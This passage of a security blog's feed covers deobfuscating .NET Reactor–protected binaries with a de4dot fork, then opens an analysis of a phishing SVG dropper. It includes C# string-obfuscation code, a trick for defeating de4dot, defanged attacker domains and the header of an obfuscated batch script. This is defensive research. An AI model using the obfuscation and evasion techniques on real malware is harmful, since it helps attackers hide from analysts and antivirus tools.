        &lt;span class=&quot;n&quot;&gt;aes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Padding&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;PaddingMode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;PKCS7&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;kt&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;decryptor&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;aes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;CreateDecryptor&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Encoding&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ASCII&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;GetBytes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;any16charswilldo&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;null&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;kt&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;decrypted&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;decryptor&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;TransformFinalBlock&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;crypted&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;m&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;crypted&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Length&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Encoding&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;UTF8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;GetString&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;decrypted&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;// Usage, e.g., in Main():&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;Console&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;WriteLine&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;StrCrypto&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;GetString&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;m&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;));&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;Console&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;WriteLine&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;StrCrypto&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;GetString&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;m&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;));&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;If you compile this and run &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;de4dot --strtyp delegate --strtok 06000003&lt;/code&gt;, you’ll obtain the following code with all references to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;GetString&lt;/code&gt; gone. Note: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;06000003&lt;/code&gt; is the token of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;GetString&lt;/code&gt; and may differ in your binary.&lt;/p&gt;

&lt;div class=&quot;language-csharp highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c1&quot;&gt;// After de4dot&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;Console&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;WriteLine&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Hello&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;Console&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;WriteLine&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;World&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;So the question is, what does one need to do so de4dot’s delegate/emulate strategies don’t work out of the box? The answer is, not much.&lt;/p&gt;

&lt;div class=&quot;language-csharp highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c1&quot;&gt;// In StrCrypto, introduce a static field:&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;static&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Offset&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;m&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;// In GetString, add it to the index parameter:&lt;/span&gt;
&lt;span class=&quot;kt&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;crypted&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Convert&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;FromBase64String&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;_strings&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Offset&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;index&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]);&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;// In calls to GetString, pass a sum:&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;Console&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;WriteLine&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;StrCrypto&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;GetString&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;StrCrypto&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Offset&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;m&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;));&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;Console&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;WriteLine&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;StrCrypto&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;GetString&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;StrCrypto&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Offset&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;m&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;));&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;If you now attempt deobfuscation, you’ll get &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;WARNING: Could not find all arguments to method System.String ConsoleApplication1.StrCrypto::GetString(System.Int32) (06000003), instr: IL_0006: add&lt;/code&gt;.
It chokes on the sum, because de4dot will not attempt to obtain the value of fields.
That’s because, for the generic case, it’s not clear whether a field’s value is really constant or if it might be assigned in multiple places.
Another complication is that the field’s initial value (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;-2&lt;/code&gt;) is not part of the metadata for the field declaration or anything like that.
It’s set in IL code in an auto-generated static constructor, so if you want the value, you need to parse the code.&lt;/p&gt;

&lt;p&gt;This is the approach .NET Reactor has taken, except that their fields are not static (but still constant) and that they have many such fields.&lt;/p&gt;

&lt;h3 id=&quot;net-reactor&quot;&gt;.NET Reactor&lt;/h3&gt;

&lt;p&gt;Similar to the method delegates we saw earlier, the strings are stored in another embedded .NET resource.
It’s encrypted with two layers: AES and more of the custom crypto we saw earlier.
The decryption method that is called whenever a string is needed takes an offset parameter.
At this offset in the resource, there’s a 32-bit integer specifying the length of the string, followed by UTF-16 string data.&lt;/p&gt;

&lt;p&gt;de4dot has a static string deobfuscator for .NET Reactor.
In this instance, the de4dot code was suffering from the same emulation bounds problem we already fixed.
With the fix, the string resource was getting decrypted successfully - however, the actual string deobfuscation still failed due to the above-mentioned field technique.
Typically, you can avail yourself of de4dot’s inlining facilities and simply call &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;staticStringInliner.Add(theDecryptMethod, (method, gim, args) =&amp;gt; stringDecrypter.Decrypt((int)args[0]))&lt;/code&gt;.
This will look for all references to the obfuscator’s decrypt method (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;theDecryptMethod&lt;/code&gt;), pass the argument of each call site to your static decrypter, and then replace the call with a direct load of the decrypted string (that’s why it’s called inliner).
Sadly, it runs into the same warning we saw earlier about not being able to find all parameters, so we cannot make use of the inliner for this version of .NET Reactor.&lt;/p&gt;

&lt;p&gt;So, we ended up manually iterating over code, checking for string decryption calls and properly parsing the argument (consisting of an XOR of a field and a 32-bit constant).
The constant field values are obtained by first looking for a method that has many &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ldc.i4&lt;/code&gt; (load integer constant) and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;stfld&lt;/code&gt; (store field) instructions, and then going through them one by one and pairing them up to get a field name → constant mapping.
With de4dot’s little helpers and generally good support for working with IL code, the fix for this came out to &lt;a href=&quot;https://github.com/GDATAAdvancedAnalytics/de4dotEx/commit/278e16e923ad3f7e16ff606de95a4325cc34cce6#diff-b2a79bc7f4f815cfcb975f3a4460ca0972c3d52856d5e0e3692261da5302bca1&quot;&gt;around 80 lines&lt;/a&gt; - not too bad at all.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Update (2026)&lt;/em&gt;: A better fix is to &lt;a href=&quot;https://github.com/GDATAAdvancedAnalytics/de4dotEx/commit/06a88dcd9b90f84d34de61d0e8ca61cf15b90c15&quot;&gt;update&lt;/a&gt; the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CflowConstantsInliner&lt;/code&gt;, which was originally built to handle a slightly different form of field-based obfuscation in older .NET Reactor versions.&lt;/p&gt;

&lt;h4 id=&quot;before-and-after-1&quot;&gt;Before and after&lt;/h4&gt;

&lt;div class=&quot;language-csharp highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;ManagementObjectSearcher&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;managementObjectSearcher&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;ManagementObjectSearcher&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;AnnotationParserInstance&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;RegisterIndexer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;
    &lt;span class=&quot;m&quot;&gt;2006988233&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;^&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Module&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;&amp;gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;eda734e7&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;e71c&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;m&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;abd&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ae26&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;a8ec222af5ee&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;m_d30267c0a00f44b5bec1a2d65bcab519&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;m_75c1500b23e14cdb9b27f078275c425a&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;),&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;AnnotationParserInstance&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;RegisterIndexer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;
    &lt;span class=&quot;m&quot;&gt;1912974033&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;^&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Module&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;&amp;gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;eda734e7&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;e71c&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;m&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;abd&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ae26&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;a8ec222af5ee&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;m_d30267c0a00f44b5bec1a2d65bcab519&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;m_cd6b2680ab2d441381513c7d9cf6dfd5&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;div class=&quot;language-csharp highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;ManagementObjectSearcher&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;managementObjectSearcher&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;ManagementObjectSearcher&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;root\\SecurityCenter2&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;SELECT * FROM AntiVirusProduct&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Note: In a raw protected assembly, there will be more bitwise operations around the XOR.
They’re folded by de4dot’s constant folding pass, which is always applied as part of generic code deobfuscation.&lt;/p&gt;

&lt;h1 id=&quot;de4dot-situation&quot;&gt;de4dot situation&lt;/h1&gt;

&lt;p&gt;de4dot has been around since 2011, and it is still able to make a difference for many binaries even when only relying on its generic algorithms, but unfortunately, the original project has been unmaintained since 2020.
As a result, it has been forked many times over the years.
Whenever someone wanted to implement a new deobfuscator, they’d fork the original repo and add their code.
Sometimes, other forks were used as a base, e.g., &lt;a href=&quot;https://github.com/mobile46/de4dot&quot;&gt;mobile46’s fork&lt;/a&gt; was popular for a time.&lt;/p&gt;

&lt;p&gt;This led to a lot of fragmentation, which is unfortunate for a couple of reasons:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;Forks that applied minor fixes to existing code are very hard to discover, because you cannot search for them with terms like &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;new obufscator name&amp;gt; de4dot&lt;/code&gt;.&lt;/li&gt;
  &lt;li&gt;Often, it’s not exactly clear which obfuscator was used on an assembly. This is where de4dot’s detection logic comes in handy, but if there are 5 forks for 5 different obfuscators, that means you need to try 5 different binaries.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Since it seems there has been no concerted effort to combine the fixes and additions people have made over the years into a single build, we have decided to do so.&lt;/p&gt;

&lt;p&gt;The result: &lt;a href=&quot;https://github.com/GDATAAdvancedAnalytics/de4dotEx&quot;&gt;de4dotEx&lt;/a&gt;!&lt;/p&gt;

&lt;p&gt;This fork contains code for deobfuscating ConfuserEx, DoubleZero, VirtualGuard and more.
It also contains various fixes for existing deobfuscators made by mobile46, andywu188, KOLANICH, kant2002 and others.&lt;/p&gt;

&lt;p&gt;We’ll try to keep integrating any new forks that come up, and of course, we’d also be delighted to accept pull requests!&lt;/p&gt;

&lt;p&gt;&lt;br /&gt;&lt;/p&gt;

&lt;p&gt;PS: We are aware that there are tools like &lt;a href=&quot;https://github.com/SychicBoy/NETReactorSlayer&quot;&gt;NETReactorSlayer&lt;/a&gt; that are excellent for unprotecting .NET Reactor binaries.
Nevertheless, we found this to be a good opportunity to get more familiar with .NET internals and deobfuscation tooling development.&lt;/p&gt;

&lt;hr /&gt;

&lt;div class=&quot;text-align: left&quot;&gt;
  &lt;p&gt;The examples in this post are from the following sample (SHA256):
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;9f77007884de82a836b19ee01e162a4d4075351c1938b496697258709600566f&lt;/code&gt;&lt;/p&gt;
&lt;/div&gt;
</description>
        <pubDate>Mon, 07 Apr 2025 13:00:00 +0000</pubDate>
        <link>https://cyber.wtf/2025/04/07/dotnet-deobfuscation/</link>
        <guid isPermaLink="true">https://cyber.wtf/2025/04/07/dotnet-deobfuscation/</guid>
        
        <category>dotnet</category>
        
        <category>de4dot</category>
        
        <category>netreactor</category>
        
        
        <category>blog</category>
        
      </item>
    
      <item>
        <title>Unpacking Pyarmor v8+ scripts</title>
        <description>&lt;h1 id=&quot;intro&quot;&gt;Intro&lt;/h1&gt;

&lt;p&gt;On a rainy Friday around lunchtime, we received a phishing email saying we had an unpaid invoice, with an attached SVG file.
We chose to analyze it as an exercise, with the goal to burn the attackers’ C2 IP addresses and malware samples.
But what was planned as a Friday afternoon exercise turned into a journey deep down the rabbit hole…&lt;/p&gt;

&lt;figure id=&quot;campaignmeme&quot; class=&quot;figure-posts&quot; style=&quot;width: 70%; display:block; margin: auto; margin-bottom: -1em;&quot;&gt;
  &lt;div class=&quot;image-container&quot; id=&quot;/images/posts/2025/02/campaign-meme.jpg&quot;&gt; 
    &lt;a href=&quot;#img/images/posts/2025/02/campaign-meme.jpg&quot;&gt;
      &lt;img src=&quot;/images/posts/2025/02/campaign-meme.jpg&quot; alt=&quot;Meme: targeting infosec people with a malware campaign is not the best idea&quot; class=&quot;img-responsive&quot; /&gt;
      &lt;/a&gt;
      &lt;a href=&quot;#/images/posts/2025/02/campaign-meme.jpg&quot; class=&quot;lightbox&quot; id=&quot;img/images/posts/2025/02/campaign-meme.jpg&quot;&gt;
        &lt;span style=&quot;background-image: url(/images/posts/2025/02/campaign-meme.jpg)&quot;&gt;&lt;/span&gt;
      &lt;/a&gt;
      &lt;figcaption class=&quot;figcaption-posts&quot;&gt;&lt;/figcaption&gt;
    &lt;/div&gt;
  &lt;/figure&gt;

&lt;h1 id=&quot;malware-dropper&quot;&gt;Malware dropper&lt;/h1&gt;

&lt;p&gt;When opening the .SVG file in a web browser, the contained JavaScript code is executed, which extracts a .HTM file from a base64 blob and “downloads” it.
The .HTM file shows the user a blurred document, roughly looking like an invoice, overlaid with a message telling the user that the browser does not support the correct display of the message and the user should click the “Open” button to display the file locally, as you can see in figure 1:&lt;/p&gt;

&lt;figure class=&quot;figure-posts&quot; style=&quot;display:block; margin: auto; margin-bottom: 1em;&quot;&gt;
  &lt;div class=&quot;image-container&quot; id=&quot;/images/posts/2025/02/rechnung-htm.png&quot;&gt; 
    &lt;a href=&quot;#img/images/posts/2025/02/rechnung-htm.png&quot;&gt;
      &lt;img src=&quot;/images/posts/2025/02/rechnung-htm.png&quot; alt=&quot;Screenshot of the downloaded .HTM file&quot; class=&quot;img-responsive&quot; /&gt;
      &lt;/a&gt;
      &lt;a href=&quot;#/images/posts/2025/02/rechnung-htm.png&quot; class=&quot;lightbox&quot; id=&quot;img/images/posts/2025/02/rechnung-htm.png&quot;&gt;
        &lt;span style=&quot;background-image: url(/images/posts/2025/02/rechnung-htm.png)&quot;&gt;&lt;/span&gt;
      &lt;/a&gt;
      &lt;figcaption class=&quot;figcaption-posts&quot;&gt;Figure 1: Screenshot of the downloaded .HTM file&lt;/figcaption&gt;
    &lt;/div&gt;
  &lt;/figure&gt;

&lt;p&gt;The “Open” button is linked to a JavaScript function that opens the Windows Search with a WebDAV path to the attackers’ server, as one can see in the code below.&lt;/p&gt;

&lt;figure class=&quot;figure-posts&quot; style=&quot;width: 80%; display:block; margin: auto; margin-bottom: 1em;&quot;&gt;
  &lt;div class=&quot;image-container&quot; id=&quot;/images/posts/2025/02/webdavjs.png&quot;&gt; 
    &lt;a href=&quot;#img/images/posts/2025/02/webdavjs.png&quot;&gt;
      &lt;img src=&quot;/images/posts/2025/02/webdavjs.png&quot; alt=&quot;Screenshot of JavaScript (code block not possible due to AV detections - sorry for the inconvenience!)&quot; class=&quot;img-responsive&quot; /&gt;
      &lt;/a&gt;
      &lt;a href=&quot;#/images/posts/2025/02/webdavjs.png&quot; class=&quot;lightbox&quot; id=&quot;img/images/posts/2025/02/webdavjs.png&quot;&gt;
        &lt;span style=&quot;background-image: url(/images/posts/2025/02/webdavjs.png)&quot;&gt;&lt;/span&gt;
      &lt;/a&gt;
      &lt;figcaption class=&quot;figcaption-posts&quot;&gt;Figure 2: JavaScript code abusing Windows Search&lt;/figcaption&gt;
    &lt;/div&gt;
  &lt;/figure&gt;

&lt;p&gt;Thus, we have found the first domain used by the attackers: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;binary-acceptance-hotel-difficult[.]trycloudflare[.]com&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Following the WebDAV path, we found a simple file listing, showing a folder called &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ge&lt;/code&gt;, as well as the files &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;lamoor.vbs&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;WSJ25F.bat&lt;/code&gt;.
Unfortunately, we did not investigate the content of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ge&lt;/code&gt; further at this point, and it was not available anymore when revisiting the server later.
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;lamoor.vbs&lt;/code&gt; is a simple VBScript that downloads and executes a file also called &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;WSJ25F.bat&lt;/code&gt; from the URL &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;msc4dfl1ed7eb485ad6ahelixpflanzen[.]de@5029\DavWWWRoot\WSJ25F.bat&lt;/code&gt;, which has the same content as the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;WSJ25F.bat&lt;/code&gt; on the server investigated here.&lt;/p&gt;

&lt;p&gt;So inside &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;lamoor.vbs&lt;/code&gt; we have found a second domain used by the attackers: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;msc4dfl1ed7eb485ad6ahelixpflanzen[.]de&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;WSJ25F.bat&lt;/code&gt; is an obfuscated batch script, which begins as follows:&lt;/p&gt;

&lt;div class=&quot;language-batch highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c&quot;&gt;:: ▄▄▄▄    ▄▄▄     ▄▄▄█████▓ ▄████▄   ██░ ██   ██████  ██░ ██  ██▓▓█████  ██▓    ▓█████▄ &lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;:: ▓█████▄ ▒████▄   ▓  ██▒ ▓▒▒██▀ ▀█  ▓██░ ██▒▒██    ▒ ▓██░ ██▒▓██▒▓█   ▀ ▓██▒    ▒██▀ ██▌&lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;:: ▒██▒ ▄██▒██  ▀█▄ ▒ ▓██░ ▒░▒▓█    ▄ ▒██▀▀██░░ ▓██▄   ▒██▀▀██░▒██▒▒███   ▒██░    ░██   █▌&lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;:: ▒██░█▀  ░██▄▄▄▄██░ ▓██▓ ░ ▒▓▓▄ ▄██▒░▓█ ░██   ▒   ██▒░▓█ ░██ ░██░▒▓█  ▄ ▒██░    ░▓█▄   ▌&lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;:: ░▓█  ▀█▓ ▓█   ▓██▒ ▒██▒ ░ ▒ ▓███▀ ░░▓█▒░██▓▒██████▒▒░▓█▒░██▓░██░░▒████▒░██████▒░▒████▓ &lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;:: ░▒▓███▀▒ ▒▒   ▓▒█░ ▒ ░░   ░ ░▒ ▒  ░ ▒ ░░▒░▒▒ ▒▓▒ ▒ ░ ▒ ░░▒░▒░▓  ░░ ▒░ ░░ ▒░▓  ░ ▒▒▓  ▒ &lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;:: ▒░▒   ░   ▒   ▒▒ ░   ░      ░  ▒    ▒ ░▒░ ░░ ░▒  ░ ░ ▒ ░▒░ ░ ▒ ░ ░ ░  ░░ ░ ▒  ░ ░ ▒  ▒ &lt;/span&gt;
